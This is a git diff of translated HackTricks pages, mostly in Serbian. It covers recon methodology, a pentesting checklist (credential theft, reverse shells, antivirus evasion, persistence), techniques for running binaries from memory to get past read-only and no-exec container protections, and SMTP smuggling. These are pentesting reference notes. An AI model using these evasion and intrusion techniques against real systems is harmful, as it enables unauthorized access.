Zapamtite da kada tražite Cloud resurse, trebali biste **tražiti više od samo kanti u AWS-u**.
Zapamtite da kada tražite Cloud resurse, trebali biste **gledati više od samo kanti u AWS-u**.
### **Looking for vulnerabilities**
@ -564,22 +564,22 @@ Sa **domenima,** **poddomenama** i **emailovima** možete početi da tražite kr
### **Looking for vulnerabilities**
Ako pronađete **validne procurile** kredencijale, ovo je vrlo lako postignuće.
Ako pronađete **validne procurile** kredencijale, ovo je vrlo lakša pobeda.
## Secrets Leaks
Procureni kredencijali su povezani sa hakovanjima kompanija gde je **osetljive informacije procurile i prodane**. Međutim, kompanije mogu biti pogođene i **drugim curenjima** čije informacije nisu u tim bazama podataka:
Procureni kredencijali su povezani sa hakovanjima kompanija gde je **osetljive informacije procurile i prodane**. Međutim, kompanije mogu biti pogođene i **drugim procurenjima** čije informacije nisu u tim bazama podataka:
### Github Leaks
Kredencijali i API-ji mogu biti procureni u **javnim repozitorijumima** **kompanije** ili **korisnika** koji rade za tu github kompaniju.\
Možete koristiti **alat** [**Leakos**](https://github.com/carlospolop/Leakos) da **preuzmete** sve **javne repozitorijume** jedne **organizacije** i njenih **razvijača** i automatski pokrenete [**gitleaks**](https://github.com/zricethezav/gitleaks) nad njima.
**Leakos** se takođe može koristiti za pokretanje **gitleaks** protiv svih **teksta** koji su **URL-ovi prosleđeni** njemu, jer ponekad **web stranice takođe sadrže tajne**.
**Leakos** se takođe može koristiti za pokretanje **gitleaks** protiv svih **tekstova** koji su **URL-ovi prosleđeni** njemu, jer ponekad **web stranice takođe sadrže tajne**.
#### Github Dorks
Proverite i ovu **stranicu** za potencijalne **github dorks** koje takođe možete pretraživati u organizaciji koju napadate:
Proverite takođe ovu **stranicu** za potencijalne **github dorks** koje takođe možete pretraživati u organizaciji koju napadate:
{% content-ref url="github-leaked-secrets.md" %}
[github-leaked-secrets.md](github-leaked-secrets.md)
@ -594,11 +594,11 @@ Možete koristiti alat [**Pastos**](https://github.com/carlospolop/Pastos) da pr
Stari, ali zlatni google dorks su uvek korisni za pronalaženje **izloženih informacija koje ne bi trebale biti tu**. Jedini problem je što [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) sadrži nekoliko **hiljada** mogućih upita koje ne možete ručno pokrenuti. Dakle, možete uzeti svojih omiljenih 10 ili možete koristiti **alat kao što je** [**Gorks**](https://github.com/carlospolop/Gorks) **da ih sve pokrenete**.
_Napomena da alati koji očekuju da pokrenu celu bazu koristeći regularni Google pretraživač nikada neće završiti jer će vas google vrlo brzo blokirati._
_Napomena da alati koji očekuju da pokrenu celu bazu koristeći regularni Google pretraživač nikada neće završiti, jer će vas Google vrlo brzo blokirati._
### **Looking for vulnerabilities**
Ako pronađete **validne procurile** kredencijale ili API tokene, ovo je vrlo lako postignuće.
Ako pronađete **validne procurile** kredencijale ili API tokene, ovo je vrlo laka pobeda.
## Public Code Vulnerabilities
@ -618,7 +618,7 @@ Takođe postoje besplatne usluge koje vam omogućavaju da **skenirate javne repo
**Većina ranjivosti** koje pronalaze lovci na greške se nalazi unutar **web aplikacija**, tako da bih u ovom trenutku želeo da govorim o **metodologiji testiranja web aplikacija**, a možete [**pronaći ove informacije ovde**](../../network-services-pentesting/pentesting-web/).
Takođe želim da posebno pomenem sekciju [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), jer, iako ne biste trebali očekivati da će pronaći veoma osetljive ranjivosti, oni su korisni za implementaciju u **tokove rada kako biste imali neke inicijalne web informacije.**
Takođe želim da posebno pomenem sekciju [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), jer, iako ne biste trebali očekivati da će pronaći veoma osetljive ranjivosti, oni su korisni za implementaciju u **radne tokove kako biste imali neke inicijalne web informacije.**
## Recapitulation
@ -628,12 +628,12 @@ Dakle, već ste:
1. Pronašli sve **kompanije** unutar opsega
2. Pronašli sve **resurse** koji pripadaju kompanijama (i izvršili neku skeniranje ranjivosti ako je u opsegu)
3. Pronašli sve **domenе** koje pripadaju kompanijama
3. Pronašli sve **domenе** koji pripadaju kompanijama
4. Pronašli sve **poddomenе** domena (ima li preuzimanja poddomena?)
5. Pronašli sve **IP-ove** (iz i **ne iz CDN-a**) unutar opsega.
6. Pronašli sve **web servere** i napravili **screenshot** njih (ima li nešto čudno što vredi dubljeg pregleda?)
7. Pronašli sve **potencijalne javne cloud resurse** koji pripadaju kompaniji.
8. **Emailovi**, **curenje kredencijala** i **curenje tajni** koji bi vam mogli doneti **veliku pobedu vrlo lako**.
8. **Emailovi**, **procureni kredencijali** i **procurene tajne** koje bi vam mogle doneti **veliku pobedu vrlo lako**.
9. **Pentesting svih web stranica koje ste pronašli**
## **Full Recon Automatic Tools**
@ -649,15 +649,15 @@ Postoji nekoliko alata koji će izvršiti deo predloženih akcija protiv datog o
* Svi besplatni kursevi [**@Jhaddix**](https://twitter.com/Jhaddix) kao što je [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje nehakovivog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -665,7 +665,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Podelite trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,23 +1,23 @@
# Pentesting Metodologija
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Trening AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Trening GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podrška HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite na** **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
Ako ste zainteresovani za **hakersku karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -33,15 +33,15 @@ Da li imate **fizički pristup** mašini koju želite da napadnete? Trebalo bi d
### 1 - [Otkriće hostova unutar mreže](pentesting-network/#discovering-hosts)/ [Otkriće imovine kompanije](external-recon-methodology/)
**U zavisnosti** od toga da li je **test** koji izvodite **interni ili eksterni test**, možda ćete biti zainteresovani za pronalaženje **hostova unutar mreže kompanije** (interni test) ili **pronalaženje imovine kompanije na internetu** (eksterni test).
**U zavisnosti** od toga da li je **test** koji sprovodite **interni ili eksterni test**, možda ćete biti zainteresovani za pronalaženje **hostova unutar mreže kompanije** (interni test) ili **pronalaženje imovine kompanije na internetu** (eksterni test).
{% hint style="info" %}
Imajte na umu da ako izvodite eksterni test, kada uspete da dobijete pristup unutrašnjoj mreži kompanije, trebali biste ponovo započeti ovaj vodič.
Imajte na umu da ako sprovodite eksterni test, kada uspete da dobijete pristup unutrašnjoj mreži kompanije, trebali biste ponovo započeti ovaj vodič.
{% endhint %}
### **2-** [**Zabavljanje sa mrežom**](pentesting-network/) **(Interni)**
**Ova sekcija se primenjuje samo ako izvodite interni test.**\
**Ova sekcija se primenjuje samo ako sprovodite interni test.**\
Pre nego što napadnete host, možda biste želeli da **ukradete neke akreditive** **sa mreže** ili **snifujete** neke **podatke** kako biste pasivno/aktivno (MitM) saznali šta možete pronaći unutar mreže. Možete pročitati [**Pentesting Mrežu**](pentesting-network/#sniffing).
### 3- [Port skeniranje - Otkriće usluga](pentesting-network/#scanning-hosts)
@ -50,11 +50,11 @@ Prva stvar koju treba uraditi kada **tražite ranjivosti na hostu** je da znate
### **4-** [Pretraživanje eksploata verzija usluga](search-exploits.md)
Kada znate koje usluge rade, i možda njihovu verziju, morate **tražiti poznate ranjivosti**. Možda ćete imati sreće i postoji eksploatacija koja će vam dati shell...
Kada znate koje usluge rade, i možda njihovu verziju, morate **tražiti poznate ranjivosti**. Možda ćete imati sreće i postoji eksploat koji će vam dati shell...
### **5-** Pentesting Usluge
Ako nema nikakvih zanimljivih eksploatacija za bilo koju aktivnu uslugu, trebali biste potražiti **uobičajene pogrešne konfiguracije u svakoj aktivnoj usluzi.**
Ako nema nikakvih zanimljivih eksploata za bilo koju aktivnu uslugu, trebali biste potražiti **uobičajene greške u konfiguraciji svake aktivne usluge.**
**Unutar ove knjige naći ćete vodič za pentestovanje najčešćih usluga** (i drugih koje nisu tako uobičajene)**. Molimo vas da potražite u levom indeksu _**PENTESTING**_ **sekciju** (usluge su poredane po njihovim podrazumevanim portovima).
@ -73,13 +73,13 @@ U nekim scenarijima **Brute-Force** bi mogao biti koristan za **kompromitovanje*
### 6- [Phishing](phishing-methodology/)
Ako u ovom trenutku niste pronašli nijednu zanimljivu ranjivost, možda ćete morati da probate neki phishing kako biste ušli u mrežu. Možete pročitati moju metodologiju phishinga [ovde](phishing-methodology/):
Ako do ovog trenutka niste pronašli nijednu zanimljivu ranjivost, možda ćete morati da pokušate sa nekim phishingom kako biste ušli u mrežu. Možete pročitati moju metodologiju phishinga [ovde](phishing-methodology/):
### **7-** [**Dobijanje Shell-a**](reverse-shells/)
Na neki način, trebali biste pronaći **neki način da izvršite kod** na žrtvi. Tada bi [lista mogućih alata unutar sistema koje možete koristiti za dobijanje reverznog shell-a bila veoma korisna](reverse-shells/).
Na neki način biste trebali pronaći **neki način da izvršite kod** na žrtvi. Tada bi [lista mogućih alata unutar sistema koje možete koristiti za dobijanje reverznog shell-a bila veoma korisna](reverse-shells/).
Posebno na Windows-u mogli biste trebati pomoć da **izbegnete antiviruse**: [**Proverite ovu stranicu**](../windows-hardening/av-bypass.md)**.**\\
Posebno na Windows-u mogli biste trebati neku pomoć da **izbegnete antiviruse**: [**Proverite ovu stranicu**](../windows-hardening/av-bypass.md)**.**\\
### 8- Unutra
@ -95,9 +95,9 @@ Verovatno ćete morati da **izvučete neke podatke iz žrtve** ili čak **da uve
### **10- Eskalacija privilegija**
#### **10.1- Lokalna Eskalacija**
#### **10.1- Lokalna Privesc**
Ako niste **root/Administrator** unutar kutije, trebali biste pronaći način da **escalirate privilegije.**\
Ako niste **root/Administrator** unutar kutije, trebali biste pronaći način da **escalate privilegije.**\
Ovde možete pronaći **vodič za eskalaciju privilegija lokalno u** [**Linux-u**](../linux-hardening/privilege-escalation/) **i u** [**Windows-u**](../windows-hardening/windows-local-privilege-escalation/)**.**\
Trebalo bi da proverite i ove stranice o tome kako **Windows funkcioniše**:
@ -108,7 +108,7 @@ Trebalo bi da proverite i ove stranice o tome kako **Windows funkcioniše**:
**Ne zaboravite da proverite najbolje alate za enumeraciju Windows i Linux lokalnih putanja eskalacije privilegija:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Domenska Eskalacija**
#### **10.2- Domain Privesc**
Ovde možete pronaći [**metodologiju koja objašnjava najčešće akcije za enumeraciju, eskalaciju privilegija i postojanje na Active Directory**](../windows-hardening/active-directory-methodology/). Čak i ako je ovo samo podsekcija jedne sekcije, ovaj proces može biti **izuzetno delikatan** na Pentesting/Red Team zadatku.
@ -124,7 +124,7 @@ Pronađite ovde različite načine za [**dumpovanje lozinki u Windows-u**](https
**Koristite 2 ili 3 različita tipa mehanizama postojanosti kako ne biste morali ponovo da eksploatišete sistem.**\
**Ovde možete pronaći neke** [**trikove postojanosti na Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
TODO: Dovršiti postojanost u Windows-u i Linux-u
TODO: Završiti postojanost u Windows-u i Linux-u
### 12 - Pivotiranje
@ -151,22 +151,22 @@ Proverite takođe stranicu o [**NTLM**](../windows-hardening/ntlm/), može biti
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
Ako ste zainteresovani za **hakersku karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Trening AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Trening GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podrška HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite na** **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -1,8 +1,8 @@
# Bypass FS protections: read-only / no-exec / Distroless
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -30,7 +30,7 @@ In the following videos you can find the techniques mentioned in this page expla
## read-only / no-exec scenario
Sve je češće pronaći linux mašine montirane sa **read-only (ro) zaštitom datotečnog sistema**, posebno u kontejnerima. To je zato što je pokretanje kontejnera sa ro datotečnim sistemom jednako lako kao postavljanje **`readOnlyRootFilesystem: true`** u `securitycontext`:
Sve je češće pronaći linux mašine montirane sa **read-only (ro) zaštitom fajl sistema**, posebno u kontejnerima. To je zato što je pokretanje kontejnera sa ro fajl sistemom jednako lako kao postavljanje **`readOnlyRootFilesystem: true`** u `securitycontext`:
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod
@ -45,7 +45,7 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre>
Međutim, čak i ako je datotečni sistem montiran kao ro, **`/dev/shm`** će i dalje biti zapisiv, tako da je lažno da ne možemo ništa napisati na disk. Međutim, ova fascikla će biti **montirana sa no-exec zaštitom**, tako da ako preuzmete binarni fajl ovde, **nećete moći da ga izvršite**.
Međutim, čak i ako je fajl sistem montiran kao ro, **`/dev/shm`** će i dalje biti zapisiv, tako da je lažno da ne možemo ništa napisati na disk. Ipak, ova fascikla će biti **montirana sa no-exec zaštitom**, tako da ako preuzmete binarni fajl ovde, **nećete moći da ga izvršite**.
{% hint style="warning" %}
Iz perspektive crvenog tima, ovo otežava **preuzimanje i izvršavanje** binarnih fajlova koji već nisu u sistemu (kao što su backdoor-i ili enumeratori poput `kubectl`).
@ -55,32 +55,32 @@ Iz perspektive crvenog tima, ovo otežava **preuzimanje i izvršavanje** binarni
Napomena da sam pomenuo binarne fajlove, možete **izvršiti bilo koji skript** sve dok je interpreter unutar mašine, kao što je **shell skript** ako je `sh` prisutan ili **python** **skript** ako je `python` instaliran.
Međutim, ovo nije dovoljno samo da izvršite vaš binarni backdoor ili druge binarne alate koje možda trebate pokrenuti.
Međutim, ovo nije dovoljno samo za izvršavanje vašeg binarnog backdoor-a ili drugih binarnih alata koje možda treba da pokrenete.
## Memory Bypasses
Ako želite da izvršite binarni fajl, ali datotečni sistem to ne dozvoljava, najbolji način da to uradite je **izvršavanje iz memorije**, jer se **zaštite ne primenjuju tamo**.
Ako želite da izvršite binarni fajl, ali fajl sistem to ne dozvoljava, najbolji način da to uradite je **izvršavanje iz memorije**, jer **zaštite se ne primenjuju tamo**.
### FD + exec syscall bypass
Ako imate neke moćne skriptne engine unutar mašine, kao što su **Python**, **Perl**, ili **Ruby**, mogli biste preuzeti binarni fajl za izvršavanje iz memorije, sačuvati ga u deskriptoru datoteke u memoriji (`create_memfd` syscall), koji neće biti zaštićen tim zaštitama, a zatim pozvati **`exec` syscall** označavajući **fd kao datoteku za izvršavanje**.
Ako imate neke moćne skriptne engine unutar mašine, kao što su **Python**, **Perl**, ili **Ruby**, mogli biste preuzeti binarni fajl da ga izvršite iz memorije, sačuvati ga u memorijskom fajl deskriptoru (`create_memfd` syscall), koji neće biti zaštićen tim zaštitama, a zatim pozvati **`exec` syscall** označavajući **fd kao fajl za izvršavanje**.
Za ovo možete lako koristiti projekat [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Možete mu proslediti binarni fajl i on će generisati skript u naznačenom jeziku sa **binarno kompresovanim i b64 kodiranim** instrukcijama za **dekodiranje i dekompresiju** u **fd** kreiranom pozivom `create_memfd` syscall i pozivom **exec** syscall za njegovo pokretanje.
Za ovo možete lako koristiti projekat [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Možete mu proslediti binarni fajl i on će generisati skript u naznačenom jeziku sa **binarno kompresovanim i b64 kodiranim** instrukcijama za **dekodiranje i dekompresiju** u **fd** kreiranom pozivom `create_memfd` syscall i pozivom **exec** syscall da ga pokrene.
{% hint style="warning" %}
Ovo ne funkcioniše u drugim skriptnim jezicima poput PHP-a ili Node-a jer nemaju nikakav **podrazumevani način za pozivanje sirovih syscall-ova** iz skripte, tako da nije moguće pozvati `create_memfd` za kreiranje **memory fd** za skladištenje binarnog fajla.
Ovo ne funkcioniše u drugim skript jezicima poput PHP-a ili Node-a jer nemaju nikakav d**efault način da pozovu sirove syscalls** iz skripte, tako da nije moguće pozvati `create_memfd` da kreira **memorijski fd** za čuvanje binarnog fajla.
Štaviše, kreiranje **regular fd** sa datotekom u `/dev/shm` neće raditi, jer nećete moći da ga pokrenete zbog primene **no-exec zaštite**.
Štaviše, kreiranje **običnog fd** sa fajlom u `/dev/shm` neće raditi, jer nećete moći da ga pokrenete zbog primene **no-exec zaštite**.
{% endhint %}
### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) je tehnika koja vam omogućava da **modifikujete memoriju vašeg procesa** prepisivanjem njegovog **`/proc/self/mem`**.
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) je tehnika koja vam omogućava da **modifikujete memoriju vašeg vlastitog procesa** prepisivanjem njegovog **`/proc/self/mem`**.
Stoga, **kontrolišući asemblažni kod** koji se izvršava od strane procesa, možete napisati **shellcode** i "mutirati" proces da **izvrši bilo koji proizvoljni kod**.
{% hint style="success" %}
**DDexec / EverythingExec** će vam omogućiti da učitate i **izvršite** vaš vlastiti **shellcode** ili **bilo koji binarni fajl** iz **memorije**.
**DDexec / EverythingExec** će vam omogućiti da učitate i **izvršite** svoj **shellcode** ili **bilo koji binarni fajl** iz **memorije**.
{% endhint %}
```bash
# Basic example
@ -94,7 +94,7 @@ Za više informacija o ovoj tehnici proverite Github ili:
### MemExec
[**Memexec**](https://github.com/arget13/memexec) je prirodan sledeći korak DDexec-a. To je **DDexec shellcode demonizovan**, tako da svaki put kada želite da **pokrenete drugi binarni fajl** ne morate ponovo pokretati DDexec, možete jednostavno pokrenuti memexec shellcode putem DDexec tehnike i zatim **komunicirati sa ovim demonima da prenesete nove binarne fajlove za učitavanje i izvršavanje**.
[**Memexec**](https://github.com/arget13/memexec) je prirodan sledeći korak DDexec-a. To je **DDexec shellcode demonizovan**, tako da svaki put kada želite da **pokrenete drugi binarni fajl** ne morate ponovo pokretati DDexec, možete jednostavno pokrenuti memexec shellcode putem DDexec tehnike i zatim **komunicirati sa ovim demonima da prosledite nove binarne fajlove za učitavanje i izvršavanje**.
Možete pronaći primer kako koristiti **memexec za izvršavanje binarnih fajlova iz PHP reverz shell-a** na [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
@ -130,17 +130,17 @@ Ako nema **`read-only/no-exec`** zaštita mogli biste iskoristiti svoj reverz sh
Međutim, u ovakvim kontejnerima ove zaštite obično postoje, ali mogli biste koristiti **prethodne tehnike izvršavanja u memoriji da ih zaobiđete**.
{% endhint %}
Možete pronaći **primere** o tome kako da **iskoristite neke RCE ranjivosti** da dobijete **reverz shell-ove** scripting jezika i izvršite binarne fajlove iz memorije na [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
Možete pronaći **primere** kako da **iskoristite neke RCE ranjivosti** da dobijete scripting jezike **reverz shell-ove** i izvršite binarne fajlove iz memorije na [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hakersku karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -23,16 +23,16 @@ Ova vrsta ranjivosti je [**prvobitno otkrivena u ovom postu**](https://sec-consu
To je zato što u SMTP protokolu, **podaci poruke** koji se šalju u e-pošti kontroliše korisnik (napadač) koji može poslati posebno oblikovane podatke koristeći razlike u parserima koji će prokrijumčariti dodatne e-poruke u prijemniku. Pogledajte ovaj ilustrovani primer iz originalnog posta:
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
### Kako
Da bi iskoristio ovu ranjivost, napadač treba da pošalje neke podatke koje **Outbound SMTP server misli da je samo 1 e-poruka, ali Inbound SMTP server misli da postoji nekoliko e-poruka**.
Da bi iskoristio ovu ranjivost, napadač treba da pošalje neke podatke koje **Outbound SMPT server misli da je samo 1 e-poruka, ali Inbound SMTP server misli da postoji nekoliko e-poruka**.
Istraživači su otkrili da različiti **Inbound serveri smatraju različite karaktere kao kraj podataka** e-poruke koje Outbound serveri ne smatraju.\
